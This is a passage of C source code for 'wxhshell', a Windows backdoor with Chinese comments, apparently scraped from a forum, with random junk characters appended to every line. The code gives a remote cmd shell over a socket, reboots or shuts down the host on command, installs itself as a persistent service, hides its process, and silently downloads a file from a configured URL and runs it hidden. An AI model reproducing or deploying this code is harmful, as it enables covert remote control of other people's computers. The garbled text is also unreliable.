  else { r<"k /  
p Acu{5#7  
    switch(cmd[0]) { ~B`H5#  
  1*B'o<?P1  
  // 帮助 UR[UZ4G  
  case '?': { =AeOkie  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); No]#RvEd3  
    break; fc%C!^7  
  } w5a;ts_x  
  // 安装 <@qJsRbhK  
  case 'i': { h9+ 7 6  
    if(Install()) (z%OK[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qs_]U  
    else +qyx3c+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vz)zl2F5sY  
    break; ^i17MvT'  
    } #LG<o3An  
  // 卸载 N\x<'P4q  
  case 'r': { P)UpUMt;k  
    if(Uninstall()) _(KzjOMt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KocNJ TB  
    else fyv S1_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /qXP\ a  
    break; E_K32) J-  
    } >7QC>ws%  
  // 显示 wxhshell 所在路径 gq)uv`3  
  case 'p': { 0Y*Ag ,S  
    char svExeFile[MAX_PATH]; v0+$d\mP4<  
    strcpy(svExeFile,"\n\r"); [<#`@Kr  
      strcat(svExeFile,ExeFile); <rNz&;m}  
        send(wsh,svExeFile,strlen(svExeFile),0);  OF`:);  
    break; <&}N[  
    } 0JLQ.%_  
  // 重启 +kOXa^K  
  case 'b': { )'`@rq!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +< c(;Ucl?  
    if(Boot(REBOOT)) 7T=:dv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g|)yM^Vqr6  
    else { ?;p45y~n%  
    closesocket(wsh); s%)>O{{)  
    ExitThread(0); v$R7"  
    } mB*;>   
    break; d?=r:TBU  
    } D(M^%z2N  
  // 关机 r7  *'s  
  case 'd': { _Ns_$_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6$p6dmV|  
    if(Boot(SHUTDOWN)) IPlkv{^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rhh.fV3  
    else { =OooTZb:x-  
    closesocket(wsh); Y!_e ,]GW  
    ExitThread(0); ~@K!>j  
    } Bet?]4\_  
    break; /U"3LX  
    } 5f#]dgBe  
  // 获取shell ngH_p>  
  case 's': { S{qsq\X  
    CmdShell(wsh); ^1[u'DW4  
    closesocket(wsh); rh6m  
    ExitThread(0); [u/Wh+  
    break; DgC;1U'  
  } W/<C$T4  
  // 退出 ((]Sy,rdk  
  case 'x': { &+8cI^ kp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rNX]tp{j  
    CloseIt(wsh); bH_zWk  
    break; 5x' ^.$K >  
    } RMBPm*H  
  // 离开 hdxq@%Vs  
  case 'q': { 9AZpvQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oF(|NS^  
    closesocket(wsh); }&IOBYHVDo  
    WSACleanup(); ]llvG \  
    exit(1); jftf]n&Z(q  
    break; s;YuB#Z  
        } gJuA*^  
  } %weG}gCM  
  } &e1(|qax  
R}\n @X*  
  // 提示信息 .V|o-~c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *`bAu *  
} 4'0rgS  
  } bJ9K!6s??`  
33b 3v\N  
  return; O4Hc"v  
} ?-9It|R  
0o-KjX?kP  
// shell模块句柄 b)@b63P_  
int CmdShell(SOCKET sock) p ^Dm w0y  
{ r7n-Xe  
STARTUPINFO si; DbvKpM H  
ZeroMemory(&si,sizeof(si)); ^EmI;ks  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M\dZxhQ-l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >^ M=/+<c  
PROCESS_INFORMATION ProcessInfo; l*<RKY8  
char cmdline[]="cmd"; h$q=NTV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $qh?$a  
  return 0; "A,-/~cBV  
} F<A[S "  
RJT=K{2x  
// 自身启动模式 |fg{Fpc  
int StartFromService(void) uY Y{M`  
{ Kv-4VWh  
typedef struct eh} {\P  
{ ':_1z5  
  DWORD ExitStatus; hha^:,  
  DWORD PebBaseAddress; w&^_2<a2  
  DWORD AffinityMask; 0|@* `-:VO  
  DWORD BasePriority; o-%DL*^5  
  ULONG UniqueProcessId; FTC,{$  
  ULONG InheritedFromUniqueProcessId; G,JNUok  
}   PROCESS_BASIC_INFORMATION; x9VR>ux&  
fr([g?F%D  
PROCNTQSIP NtQueryInformationProcess; eU.HS78  
q~*>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  w#\*{EN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uj9IK  
u}I\!-EX!v  
  HANDLE             hProcess; or]kXefG3  
  PROCESS_BASIC_INFORMATION pbi; \-~TW4dYe  
Uk|(VR9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nRlvW{p;  
  if(NULL == hInst ) return 0; zeG_H}[2&  
D "9Hv3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b(|1DE0Cv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mu}T,+9\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t^-yK;`?q:  
\w\{x0u  
  if (!NtQueryInformationProcess) return 0; a}MSA/K(  
WaYT7 :  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +Q6}kbDI  
  if(!hProcess) return 0; XhEd9>#  
maR5hgWCHe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ([a[ fi  
f|X./J4Bl  
  CloseHandle(hProcess); ?oO<PR}y  
tW |K\NL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sX$EdIq  
if(hProcess==NULL) return 0; _MC\\u/C/  
(r+#}z}  
HMODULE hMod; ?Wz rv&E2  
char procName[255]; (R)(%I1Oz  
unsigned long cbNeeded; O4i5 fVy{  
}+Ne)B E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jLu`DKB  
szx7CP`<8  
  CloseHandle(hProcess); W4~:3 Sk  
Ot#O];3  
if(strstr(procName,"services")) return 1; // 以服务启动  iI(7{$y  
G 0;5I_D/  
  return 0; // 注册表启动 dy%#E2f  
} ypK1 sw  
ApxGrCu  
// 主模块 lYq4f|5H}m  
int StartWxhshell(LPSTR lpCmdLine) s9'lw'  
{ }+4^ZbX+:  
  SOCKET wsl; <Fa]k'<^)  
BOOL val=TRUE; io{uN/!X_J  
  int port=0; Vx6/Rehj  
  struct sockaddr_in door; #- hYjE5  
{2Jn#&Z29  
  if(wscfg.ws_autoins) Install(); D-<9kBZs  
(d2|r)O  
port=atoi(lpCmdLine); RiX~YL eM  
Ow\dk^\-G8  
if(port<=0) port=wscfg.ws_port; ZH<:YOQ  
)|?s!rw +  
  WSADATA data; |nFg"W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8 aHs I(  
q`8M9-~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H=j&uv8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DZI:zsf;5Q  
  door.sin_family = AF_INET; J<4 egk4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oSOO5dk:z  
  door.sin_port = htons(port); xF4>D!T%8  
tgPx!5U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y]SX2kk(2  
closesocket(wsl); {:;599l  
return 1; *$I5_A8,.  
} ;Xw'WMb*=  
=E?!!EIq.  
  if(listen(wsl,2) == INVALID_SOCKET) { |E YJbL;1%  
closesocket(wsl); ]'2;6%. 4  
return 1; SCZ6:P"$qX  
} VdZmrq;?/  
  Wxhshell(wsl); 8> -3G  
  WSACleanup(); o"a~  
[o0Z; }fU  
return 0; {T0f]]}Q  
K9YD)351t  
} cJnAwIs_e`  
e)WpqaI  
// 以NT服务方式启动 5B lptC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^}gQh#  
{ m6 )sX&  
DWORD   status = 0; e /4{pe+,  
  DWORD   specificError = 0xfffffff; c3>#.NP_  
B4 cm_YGE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "|6#n34  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U?}>A5H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w,t>M_( N  
  serviceStatus.dwWin32ExitCode     = 0; KAucSd`  
  serviceStatus.dwServiceSpecificExitCode = 0; j JxV)AIY  
  serviceStatus.dwCheckPoint       = 0; Gqz<;y  
  serviceStatus.dwWaitHint       = 0; ;gC.fpu  
#=G[ ~m\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q-g3!  
  if (hServiceStatusHandle==0) return; +x3T^G  
Sj$XRkbj:  
status = GetLastError(); Uo!#p'<w)p  
  if (status!=NO_ERROR) H|1owmbD  
{ FOFZ/q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /NH9$u.g  
    serviceStatus.dwCheckPoint       = 0; $&@L[[xl  
    serviceStatus.dwWaitHint       = 0; 19u'{/Y"  
    serviceStatus.dwWin32ExitCode     = status;  4|9c+^%^  
    serviceStatus.dwServiceSpecificExitCode = specificError; .%D9leiRe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /~49.}yt  
    return; q^e4  
  } wIv_Z^% V  
Tq r]5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )Bl0 W  
  serviceStatus.dwCheckPoint       = 0; b0A*zQA_)  
  serviceStatus.dwWaitHint       = 0; |-W7n'n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OKo39 A\fu  
} G/2| *H  
 i,{'}B  
// 处理NT服务事件,比如:启动、停止 _\9|acFT2O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >>**n9\q  
{ f#s /Ycp+  
switch(fdwControl) fI5]ed eS  
{ ]ZQ3|ZJ?<  
case SERVICE_CONTROL_STOP: |]d A`e&y  
  serviceStatus.dwWin32ExitCode = 0; x2|YrkGv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :3z`+5Y*  
  serviceStatus.dwCheckPoint   = 0; ~JJuM  
  serviceStatus.dwWaitHint     = 0; ~i4h.ZLj  
  { _k0 X)N+li  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q"|,HpQ  
  } t4a/\{/#9|  
  return; #+v Iq?  
case SERVICE_CONTROL_PAUSE: RJo"yB$1e6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SIBNU3;DL  
  break; bOt6q/f  
case SERVICE_CONTROL_CONTINUE: 1<y|,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eVobs2s  
  break; C6=P(%y  
case SERVICE_CONTROL_INTERROGATE: s<i& q {r  
  break; BM(8+Wj  
}; "Dc6kn^}3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $c!cO" U  
} %6\e_y%  
9 a ED6  
// 标准应用程序主函数 :|s!_G<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G8w<^z>pTg  
{ O>Vb7`z0<  
\"]vSx>  
// 获取操作系统版本 ^^u{W|'CaH  
OsIsNt=GetOsVer(); hPs7mnSW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eY)JuJ?  
03WLVP@  
  // 从命令行安装 woctnT%"Q/  
  if(strpbrk(lpCmdLine,"iI")) Install(); nN=o/zd  
K0|8h!WF+  
  // 下载执行文件 u~| D;e  
if(wscfg.ws_downexe) { x<m{B@3T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t:DZow  
  WinExec(wscfg.ws_filenam,SW_HIDE); +:hZ,G?>  
} E4a`cGb  
}klET   
if(!OsIsNt) { J YA  
// 如果时win9x,隐藏进程并且设置为注册表启动  k3[%pS  
HideProc(); 0w0\TWz*   
StartWxhshell(lpCmdLine); *o}LI6_u  
} [jPUAr}  
else `D0>L '  
  if(StartFromService()) tOJK~%'  
  // 以服务方式启动 I[r  
  StartServiceCtrlDispatcher(DispatchTable); '[E|3K5d  
else (]JZ1s|  
  // 普通方式启动 or?@Ti;  
  StartWxhshell(lpCmdLine); P8hA<{UFS\  
f^P:eBgpx  
return 0; h L 1q9%  
}
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只看该作者 1 发表于: 2006-10-10
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